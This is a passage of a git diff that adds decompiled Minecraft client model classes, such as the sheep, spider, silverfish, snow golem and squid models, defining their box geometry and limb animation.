+          GlStateManager.rotate(rotateAngleX * 57.295776F, 1.0F, 0.0F, 0.0F);
+        }
+      }
+    }
+  }
+  
+
+
+
+  private void compileDisplayList(float p_78788_1_)
+  {
+    if (displayList == 0)
+    {
+      savedScale = p_78788_1_;
+      displayList = GLAllocation.generateDisplayLists(1);
+    }
+    
+    GL11.glNewList(displayList, 4864);
+    WorldRenderer var2 = Tessellator.getInstance().getWorldRenderer();
+    
+
+    for (int i = 0; i < cubeList.size(); i++)
+    {
+      ((ModelBox)cubeList.get(i)).render(var2, p_78788_1_);
+    }
+    
+    for (i = 0; i < spriteList.size(); i++)
+    {
+      ModelSprite sprite = (ModelSprite)spriteList.get(i);
+      sprite.render(Tessellator.getInstance(), p_78788_1_);
+    }
+    
+    GL11.glEndList();
+    compiled = true;
+  }
+  
+
+
+
+  public ModelRenderer setTextureSize(int p_78787_1_, int p_78787_2_)
+  {
+    textureWidth = p_78787_1_;
+    textureHeight = p_78787_2_;
+    return this;
+  }
+  
+  public void addSprite(float posX, float posY, float posZ, int sizeX, int sizeY, int sizeZ, float sizeAdd)
+  {
+    spriteList.add(new ModelSprite(this, textureOffsetX, textureOffsetY, posX, posY, posZ, sizeX, sizeY, sizeZ, sizeAdd));
+  }
+  
+  public boolean getCompiled()
+  {
+    return compiled;
+  }
+  
+  public int getDisplayList()
+  {
+    return displayList;
+  }
+  
+  public void resetDisplayList()
+  {
+    if (compiled)
+    {
+      compiled = false;
+      compileDisplayList(savedScale);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSheep1.java b/src/minecraft/net/minecraft/client/model/ModelSheep1.java
new file mode 100644
index 0000000..f5d3aba
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSheep1.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySheep;
+
+public class ModelSheep1 extends ModelQuadruped
+{
+  private float headRotationAngleX;
+  private static final String __OBFID = "CL_00000852";
+  
+  public ModelSheep1()
+  {
+    super(12, 0.0F);
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-3.0F, -4.0F, -4.0F, 6, 6, 6, 0.6F);
+    head.setRotationPoint(0.0F, 6.0F, -8.0F);
+    body = new ModelRenderer(this, 28, 8);
+    body.addBox(-4.0F, -10.0F, -7.0F, 8, 16, 6, 1.75F);
+    body.setRotationPoint(0.0F, 5.0F, 2.0F);
+    float var1 = 0.5F;
+    leg1 = new ModelRenderer(this, 0, 16);
+    leg1.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, var1);
+    leg1.setRotationPoint(-3.0F, 12.0F, 7.0F);
+    leg2 = new ModelRenderer(this, 0, 16);
+    leg2.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, var1);
+    leg2.setRotationPoint(3.0F, 12.0F, 7.0F);
+    leg3 = new ModelRenderer(this, 0, 16);
+    leg3.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, var1);
+    leg3.setRotationPoint(-3.0F, 12.0F, -5.0F);
+    leg4 = new ModelRenderer(this, 0, 16);
+    leg4.addBox(-2.0F, 0.0F, -2.0F, 4, 6, 4, var1);
+    leg4.setRotationPoint(3.0F, 12.0F, -5.0F);
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    super.setLivingAnimations(p_78086_1_, p_78086_2_, p_78086_3_, p_78086_4_);
+    head.rotationPointY = (6.0F + ((EntitySheep)p_78086_1_).getHeadRotationPointY(p_78086_4_) * 9.0F);
+    headRotationAngleX = ((EntitySheep)p_78086_1_).getHeadRotationAngleX(p_78086_4_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    head.rotateAngleX = headRotationAngleX;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSheep2.java b/src/minecraft/net/minecraft/client/model/ModelSheep2.java
new file mode 100644
index 0000000..9e2423f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSheep2.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySheep;
+
+public class ModelSheep2 extends ModelQuadruped
+{
+  private float field_78153_i;
+  private static final String __OBFID = "CL_00000853";
+  
+  public ModelSheep2()
+  {
+    super(12, 0.0F);
+    head = new ModelRenderer(this, 0, 0);
+    head.addBox(-3.0F, -4.0F, -6.0F, 6, 6, 8, 0.0F);
+    head.setRotationPoint(0.0F, 6.0F, -8.0F);
+    body = new ModelRenderer(this, 28, 8);
+    body.addBox(-4.0F, -10.0F, -7.0F, 8, 16, 6, 0.0F);
+    body.setRotationPoint(0.0F, 5.0F, 2.0F);
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    super.setLivingAnimations(p_78086_1_, p_78086_2_, p_78086_3_, p_78086_4_);
+    head.rotationPointY = (6.0F + ((EntitySheep)p_78086_1_).getHeadRotationPointY(p_78086_4_) * 9.0F);
+    field_78153_i = ((EntitySheep)p_78086_1_).getHeadRotationAngleX(p_78086_4_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    head.rotateAngleX = field_78153_i;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSign.java b/src/minecraft/net/minecraft/client/model/ModelSign.java
new file mode 100644
index 0000000..897792e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSign.java
@@ -0,0 +1,27 @@
+package net.minecraft.client.model;
+
+public class ModelSign
+  extends ModelBase
+{
+  public ModelRenderer signBoard = new ModelRenderer(this, 0, 0);
+  
+  public ModelRenderer signStick;
+  
+  private static final String __OBFID = "CL_00000854";
+  
+  public ModelSign()
+  {
+    signBoard.addBox(-12.0F, -14.0F, -1.0F, 24, 12, 2, 0.0F);
+    signStick = new ModelRenderer(this, 0, 14);
+    signStick.addBox(-1.0F, -2.0F, -1.0F, 2, 14, 2, 0.0F);
+  }
+  
+
+
+
+  public void renderSign()
+  {
+    signBoard.render(0.0625F);
+    signStick.render(0.0625F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSilverfish.java b/src/minecraft/net/minecraft/client/model/ModelSilverfish.java
new file mode 100644
index 0000000..3df8420
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSilverfish.java
@@ -0,0 +1,89 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelSilverfish
+  extends ModelBase
+{
+  private ModelRenderer[] silverfishBodyParts = new ModelRenderer[7];
+  
+  private ModelRenderer[] silverfishWings;
+  
+  private float[] field_78170_c = new float[7];
+  
+
+  private static final int[][] silverfishBoxLength = { { 3, 2, 2 }, { 4, 3, 2 }, { 6, 4, 3 }, { 3, 3, 3 }, { 2, 2, 3 }, { 2, 1, 2 }, { 1, 1, 2 } };
+  
+
+  private static final int[][] silverfishTexturePositions = { new int[2], { 0, 4 }, { 0, 9 }, { 0, 16 }, { 0, 22 }, { 11 }, { 13, 4 } };
+  private static final String __OBFID = "CL_00000855";
+  
+  public ModelSilverfish()
+  {
+    float var1 = -3.5F;
+    
+    for (int var2 = 0; var2 < silverfishBodyParts.length; var2++)
+    {
+      silverfishBodyParts[var2] = new ModelRenderer(this, silverfishTexturePositions[var2][0], silverfishTexturePositions[var2][1]);
+      silverfishBodyParts[var2].addBox(silverfishBoxLength[var2][0] * -0.5F, 0.0F, silverfishBoxLength[var2][2] * -0.5F, silverfishBoxLength[var2][0], silverfishBoxLength[var2][1], silverfishBoxLength[var2][2]);
+      silverfishBodyParts[var2].setRotationPoint(0.0F, 24 - silverfishBoxLength[var2][1], var1);
+      field_78170_c[var2] = var1;
+      
+      if (var2 < silverfishBodyParts.length - 1)
+      {
+        var1 += (silverfishBoxLength[var2][2] + silverfishBoxLength[(var2 + 1)][2]) * 0.5F;
+      }
+    }
+    
+    silverfishWings = new ModelRenderer[3];
+    silverfishWings[0] = new ModelRenderer(this, 20, 0);
+    silverfishWings[0].addBox(-5.0F, 0.0F, silverfishBoxLength[2][2] * -0.5F, 10, 8, silverfishBoxLength[2][2]);
+    silverfishWings[0].setRotationPoint(0.0F, 16.0F, field_78170_c[2]);
+    silverfishWings[1] = new ModelRenderer(this, 20, 11);
+    silverfishWings[1].addBox(-3.0F, 0.0F, silverfishBoxLength[4][2] * -0.5F, 6, 4, silverfishBoxLength[4][2]);
+    silverfishWings[1].setRotationPoint(0.0F, 20.0F, field_78170_c[4]);
+    silverfishWings[2] = new ModelRenderer(this, 20, 18);
+    silverfishWings[2].addBox(-3.0F, 0.0F, silverfishBoxLength[4][2] * -0.5F, 6, 5, silverfishBoxLength[1][2]);
+    silverfishWings[2].setRotationPoint(0.0F, 19.0F, field_78170_c[1]);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+
+    for (int var8 = 0; var8 < silverfishBodyParts.length; var8++)
+    {
+      silverfishBodyParts[var8].render(p_78088_7_);
+    }
+    
+    for (var8 = 0; var8 < silverfishWings.length; var8++)
+    {
+      silverfishWings[var8].render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    for (int var8 = 0; var8 < silverfishBodyParts.length; var8++)
+    {
+      silverfishBodyParts[var8].rotateAngleY = (MathHelper.cos(p_78087_3_ * 0.9F + var8 * 0.15F * 3.1415927F) * 3.1415927F * 0.05F * (1 + Math.abs(var8 - 2)));
+      silverfishBodyParts[var8].rotationPointX = (MathHelper.sin(p_78087_3_ * 0.9F + var8 * 0.15F * 3.1415927F) * 3.1415927F * 0.2F * Math.abs(var8 - 2));
+    }
+    
+    silverfishWings[0].rotateAngleY = silverfishBodyParts[2].rotateAngleY;
+    silverfishWings[1].rotateAngleY = silverfishBodyParts[4].rotateAngleY;
+    silverfishWings[1].rotationPointX = silverfishBodyParts[4].rotationPointX;
+    silverfishWings[2].rotateAngleY = silverfishBodyParts[1].rotateAngleY;
+    silverfishWings[2].rotationPointX = silverfishBodyParts[1].rotationPointX;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSkeleton.java b/src/minecraft/net/minecraft/client/model/ModelSkeleton.java
new file mode 100644
index 0000000..bac1ba7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSkeleton.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntitySkeleton;
+
+public class ModelSkeleton extends ModelZombie
+{
+  private static final String __OBFID = "CL_00000857";
+  
+  public ModelSkeleton()
+  {
+    this(0.0F, false);
+  }
+  
+  public ModelSkeleton(float p_i46303_1_, boolean p_i46303_2_)
+  {
+    super(p_i46303_1_, 0.0F, 64, 32);
+    
+    if (!p_i46303_2_)
+    {
+      bipedRightArm = new ModelRenderer(this, 40, 16);
+      bipedRightArm.addBox(-1.0F, -2.0F, -1.0F, 2, 12, 2, p_i46303_1_);
+      bipedRightArm.setRotationPoint(-5.0F, 2.0F, 0.0F);
+      bipedLeftArm = new ModelRenderer(this, 40, 16);
+      bipedLeftArm.mirror = true;
+      bipedLeftArm.addBox(-1.0F, -2.0F, -1.0F, 2, 12, 2, p_i46303_1_);
+      bipedLeftArm.setRotationPoint(5.0F, 2.0F, 0.0F);
+      bipedRightLeg = new ModelRenderer(this, 0, 16);
+      bipedRightLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 12, 2, p_i46303_1_);
+      bipedRightLeg.setRotationPoint(-2.0F, 12.0F, 0.0F);
+      bipedLeftLeg = new ModelRenderer(this, 0, 16);
+      bipedLeftLeg.mirror = true;
+      bipedLeftLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 12, 2, p_i46303_1_);
+      bipedLeftLeg.setRotationPoint(2.0F, 12.0F, 0.0F);
+    }
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    aimedBow = (((EntitySkeleton)p_78086_1_).getSkeletonType() == 1);
+    super.setLivingAnimations(p_78086_1_, p_78086_2_, p_78086_3_, p_78086_4_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSkeletonHead.java b/src/minecraft/net/minecraft/client/model/ModelSkeletonHead.java
new file mode 100644
index 0000000..4a077e5
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSkeletonHead.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+public class ModelSkeletonHead extends ModelBase
+{
+  public ModelRenderer skeletonHead;
+  private static final String __OBFID = "CL_00000856";
+  
+  public ModelSkeletonHead()
+  {
+    this(0, 35, 64, 64);
+  }
+  
+  public ModelSkeletonHead(int p_i1155_1_, int p_i1155_2_, int p_i1155_3_, int p_i1155_4_)
+  {
+    textureWidth = p_i1155_3_;
+    textureHeight = p_i1155_4_;
+    skeletonHead = new ModelRenderer(this, p_i1155_1_, p_i1155_2_);
+    skeletonHead.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, 0.0F);
+    skeletonHead.setRotationPoint(0.0F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    skeletonHead.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    skeletonHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    skeletonHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSlime.java b/src/minecraft/net/minecraft/client/model/ModelSlime.java
new file mode 100644
index 0000000..a9940b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSlime.java
@@ -0,0 +1,53 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+
+
+
+
+
+
+public class ModelSlime
+  extends ModelBase
+{
+  ModelRenderer slimeBodies;
+  ModelRenderer slimeRightEye;
+  ModelRenderer slimeLeftEye;
+  ModelRenderer slimeMouth;
+  private static final String __OBFID = "CL_00000858";
+  
+  public ModelSlime(int p_i1157_1_)
+  {
+    slimeBodies = new ModelRenderer(this, 0, p_i1157_1_);
+    slimeBodies.addBox(-4.0F, 16.0F, -4.0F, 8, 8, 8);
+    
+    if (p_i1157_1_ > 0)
+    {
+      slimeBodies = new ModelRenderer(this, 0, p_i1157_1_);
+      slimeBodies.addBox(-3.0F, 17.0F, -3.0F, 6, 6, 6);
+      slimeRightEye = new ModelRenderer(this, 32, 0);
+      slimeRightEye.addBox(-3.25F, 18.0F, -3.5F, 2, 2, 2);
+      slimeLeftEye = new ModelRenderer(this, 32, 4);
+      slimeLeftEye.addBox(1.25F, 18.0F, -3.5F, 2, 2, 2);
+      slimeMouth = new ModelRenderer(this, 32, 8);
+      slimeMouth.addBox(0.0F, 21.0F, -3.5F, 1, 1, 1);
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    slimeBodies.render(p_78088_7_);
+    
+    if (slimeRightEye != null)
+    {
+      slimeRightEye.render(p_78088_7_);
+      slimeLeftEye.render(p_78088_7_);
+      slimeMouth.render(p_78088_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSnowMan.java b/src/minecraft/net/minecraft/client/model/ModelSnowMan.java
new file mode 100644
index 0000000..909867b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSnowMan.java
@@ -0,0 +1,71 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelSnowMan extends ModelBase
+{
+  public ModelRenderer body;
+  public ModelRenderer bottomBody;
+  public ModelRenderer head;
+  public ModelRenderer rightHand;
+  public ModelRenderer leftHand;
+  private static final String __OBFID = "CL_00000859";
+  
+  public ModelSnowMan()
+  {
+    float var1 = 4.0F;
+    float var2 = 0.0F;
+    head = new ModelRenderer(this, 0, 0).setTextureSize(64, 64);
+    head.addBox(-4.0F, -8.0F, -4.0F, 8, 8, 8, var2 - 0.5F);
+    head.setRotationPoint(0.0F, 0.0F + var1, 0.0F);
+    rightHand = new ModelRenderer(this, 32, 0).setTextureSize(64, 64);
+    rightHand.addBox(-1.0F, 0.0F, -1.0F, 12, 2, 2, var2 - 0.5F);
+    rightHand.setRotationPoint(0.0F, 0.0F + var1 + 9.0F - 7.0F, 0.0F);
+    leftHand = new ModelRenderer(this, 32, 0).setTextureSize(64, 64);
+    leftHand.addBox(-1.0F, 0.0F, -1.0F, 12, 2, 2, var2 - 0.5F);
+    leftHand.setRotationPoint(0.0F, 0.0F + var1 + 9.0F - 7.0F, 0.0F);
+    body = new ModelRenderer(this, 0, 16).setTextureSize(64, 64);
+    body.addBox(-5.0F, -10.0F, -5.0F, 10, 10, 10, var2 - 0.5F);
+    body.setRotationPoint(0.0F, 0.0F + var1 + 9.0F, 0.0F);
+    bottomBody = new ModelRenderer(this, 0, 36).setTextureSize(64, 64);
+    bottomBody.addBox(-6.0F, -12.0F, -6.0F, 12, 12, 12, var2 - 0.5F);
+    bottomBody.setRotationPoint(0.0F, 0.0F + var1 + 20.0F, 0.0F);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    head.rotateAngleY = (p_78087_4_ / 57.295776F);
+    head.rotateAngleX = (p_78087_5_ / 57.295776F);
+    body.rotateAngleY = (p_78087_4_ / 57.295776F * 0.25F);
+    float var8 = MathHelper.sin(body.rotateAngleY);
+    float var9 = MathHelper.cos(body.rotateAngleY);
+    rightHand.rotateAngleZ = 1.0F;
+    leftHand.rotateAngleZ = -1.0F;
+    rightHand.rotateAngleY = (0.0F + body.rotateAngleY);
+    leftHand.rotateAngleY = (3.1415927F + body.rotateAngleY);
+    rightHand.rotationPointX = (var9 * 5.0F);
+    rightHand.rotationPointZ = (-var8 * 5.0F);
+    leftHand.rotationPointX = (-var9 * 5.0F);
+    leftHand.rotationPointZ = (var8 * 5.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    body.render(p_78088_7_);
+    bottomBody.render(p_78088_7_);
+    head.render(p_78088_7_);
+    rightHand.render(p_78088_7_);
+    leftHand.render(p_78088_7_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSpider.java b/src/minecraft/net/minecraft/client/model/ModelSpider.java
new file mode 100644
index 0000000..1bc653c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSpider.java
@@ -0,0 +1,153 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelSpider
+  extends ModelBase
+{
+  public ModelRenderer spiderHead;
+  public ModelRenderer spiderNeck;
+  public ModelRenderer spiderBody;
+  public ModelRenderer spiderLeg1;
+  public ModelRenderer spiderLeg2;
+  public ModelRenderer spiderLeg3;
+  public ModelRenderer spiderLeg4;
+  public ModelRenderer spiderLeg5;
+  public ModelRenderer spiderLeg6;
+  public ModelRenderer spiderLeg7;
+  public ModelRenderer spiderLeg8;
+  private static final String __OBFID = "CL_00000860";
+  
+  public ModelSpider()
+  {
+    float var1 = 0.0F;
+    byte var2 = 15;
+    spiderHead = new ModelRenderer(this, 32, 4);
+    spiderHead.addBox(-4.0F, -4.0F, -8.0F, 8, 8, 8, var1);
+    spiderHead.setRotationPoint(0.0F, var2, -3.0F);
+    spiderNeck = new ModelRenderer(this, 0, 0);
+    spiderNeck.addBox(-3.0F, -3.0F, -3.0F, 6, 6, 6, var1);
+    spiderNeck.setRotationPoint(0.0F, var2, 0.0F);
+    spiderBody = new ModelRenderer(this, 0, 12);
+    spiderBody.addBox(-5.0F, -4.0F, -6.0F, 10, 8, 12, var1);
+    spiderBody.setRotationPoint(0.0F, var2, 9.0F);
+    spiderLeg1 = new ModelRenderer(this, 18, 0);
+    spiderLeg1.addBox(-15.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg1.setRotationPoint(-4.0F, var2, 2.0F);
+    spiderLeg2 = new ModelRenderer(this, 18, 0);
+    spiderLeg2.addBox(-1.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg2.setRotationPoint(4.0F, var2, 2.0F);
+    spiderLeg3 = new ModelRenderer(this, 18, 0);
+    spiderLeg3.addBox(-15.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg3.setRotationPoint(-4.0F, var2, 1.0F);
+    spiderLeg4 = new ModelRenderer(this, 18, 0);
+    spiderLeg4.addBox(-1.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg4.setRotationPoint(4.0F, var2, 1.0F);
+    spiderLeg5 = new ModelRenderer(this, 18, 0);
+    spiderLeg5.addBox(-15.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg5.setRotationPoint(-4.0F, var2, 0.0F);
+    spiderLeg6 = new ModelRenderer(this, 18, 0);
+    spiderLeg6.addBox(-1.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg6.setRotationPoint(4.0F, var2, 0.0F);
+    spiderLeg7 = new ModelRenderer(this, 18, 0);
+    spiderLeg7.addBox(-15.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg7.setRotationPoint(-4.0F, var2, -1.0F);
+    spiderLeg8 = new ModelRenderer(this, 18, 0);
+    spiderLeg8.addBox(-1.0F, -1.0F, -1.0F, 16, 2, 2, var1);
+    spiderLeg8.setRotationPoint(4.0F, var2, -1.0F);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    spiderHead.render(p_78088_7_);
+    spiderNeck.render(p_78088_7_);
+    spiderBody.render(p_78088_7_);
+    spiderLeg1.render(p_78088_7_);
+    spiderLeg2.render(p_78088_7_);
+    spiderLeg3.render(p_78088_7_);
+    spiderLeg4.render(p_78088_7_);
+    spiderLeg5.render(p_78088_7_);
+    spiderLeg6.render(p_78088_7_);
+    spiderLeg7.render(p_78088_7_);
+    spiderLeg8.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    spiderHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    spiderHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+    float var8 = 0.7853982F;
+    spiderLeg1.rotateAngleZ = (-var8);
+    spiderLeg2.rotateAngleZ = var8;
+    spiderLeg3.rotateAngleZ = (-var8 * 0.74F);
+    spiderLeg4.rotateAngleZ = (var8 * 0.74F);
+    spiderLeg5.rotateAngleZ = (-var8 * 0.74F);
+    spiderLeg6.rotateAngleZ = (var8 * 0.74F);
+    spiderLeg7.rotateAngleZ = (-var8);
+    spiderLeg8.rotateAngleZ = var8;
+    float var9 = -0.0F;
+    float var10 = 0.3926991F;
+    spiderLeg1.rotateAngleY = (var10 * 2.0F + var9);
+    spiderLeg2.rotateAngleY = (-var10 * 2.0F - var9);
+    spiderLeg3.rotateAngleY = (var10 * 1.0F + var9);
+    spiderLeg4.rotateAngleY = (-var10 * 1.0F - var9);
+    spiderLeg5.rotateAngleY = (-var10 * 1.0F + var9);
+    spiderLeg6.rotateAngleY = (var10 * 1.0F - var9);
+    spiderLeg7.rotateAngleY = (-var10 * 2.0F + var9);
+    spiderLeg8.rotateAngleY = (var10 * 2.0F - var9);
+    float var11 = -(MathHelper.cos(p_78087_1_ * 0.6662F * 2.0F + 0.0F) * 0.4F) * p_78087_2_;
+    float var12 = -(MathHelper.cos(p_78087_1_ * 0.6662F * 2.0F + 3.1415927F) * 0.4F) * p_78087_2_;
+    float var13 = -(MathHelper.cos(p_78087_1_ * 0.6662F * 2.0F + 1.5707964F) * 0.4F) * p_78087_2_;
+    float var14 = -(MathHelper.cos(p_78087_1_ * 0.6662F * 2.0F + 4.712389F) * 0.4F) * p_78087_2_;
+    float var15 = Math.abs(MathHelper.sin(p_78087_1_ * 0.6662F + 0.0F) * 0.4F) * p_78087_2_;
+    float var16 = Math.abs(MathHelper.sin(p_78087_1_ * 0.6662F + 3.1415927F) * 0.4F) * p_78087_2_;
+    float var17 = Math.abs(MathHelper.sin(p_78087_1_ * 0.6662F + 1.5707964F) * 0.4F) * p_78087_2_;
+    float var18 = Math.abs(MathHelper.sin(p_78087_1_ * 0.6662F + 4.712389F) * 0.4F) * p_78087_2_;
+    spiderLeg1.rotateAngleY += var11;
+    spiderLeg2.rotateAngleY += -var11;
+    spiderLeg3.rotateAngleY += var12;
+    spiderLeg4.rotateAngleY += -var12;
+    spiderLeg5.rotateAngleY += var13;
+    spiderLeg6.rotateAngleY += -var13;
+    spiderLeg7.rotateAngleY += var14;
+    spiderLeg8.rotateAngleY += -var14;
+    spiderLeg1.rotateAngleZ += var15;
+    spiderLeg2.rotateAngleZ += -var15;
+    spiderLeg3.rotateAngleZ += var16;
+    spiderLeg4.rotateAngleZ += -var16;
+    spiderLeg5.rotateAngleZ += var17;
+    spiderLeg6.rotateAngleZ += -var17;
+    spiderLeg7.rotateAngleZ += var18;
+    spiderLeg8.rotateAngleZ += -var18;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelSquid.java b/src/minecraft/net/minecraft/client/model/ModelSquid.java
new file mode 100644
index 0000000..ff24906
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelSquid.java
@@ -0,0 +1,66 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+
+
+
+public class ModelSquid
+  extends ModelBase
+{
+  ModelRenderer squidBody;
+  ModelRenderer[] squidTentacles = new ModelRenderer[8];
+  private static final String __OBFID = "CL_00000861";
+  
+  public ModelSquid()
+  {
+    byte var1 = -16;
+    squidBody = new ModelRenderer(this, 0, 0);
+    squidBody.addBox(-6.0F, -8.0F, -6.0F, 12, 16, 12);
+    squidBody.rotationPointY += 24 + var1;
+    
+    for (int var2 = 0; var2 < squidTentacles.length; var2++)
+    {
+      squidTentacles[var2] = new ModelRenderer(this, 48, 0);
+      double var3 = var2 * 3.141592653589793D * 2.0D / squidTentacles.length;
+      float var5 = (float)Math.cos(var3) * 5.0F;
+      float var6 = (float)Math.sin(var3) * 5.0F;
+      squidTentacles[var2].addBox(-1.0F, 0.0F, -1.0F, 2, 18, 2);
+      squidTentacles[var2].rotationPointX = var5;
+      squidTentacles[var2].rotationPointZ = var6;
+      squidTentacles[var2].rotationPointY = (31 + var1);
+      var3 = var2 * 3.141592653589793D * -2.0D / squidTentacles.length + 1.5707963267948966D;
+      squidTentacles[var2].rotateAngleY = ((float)var3);
+    }
+  }
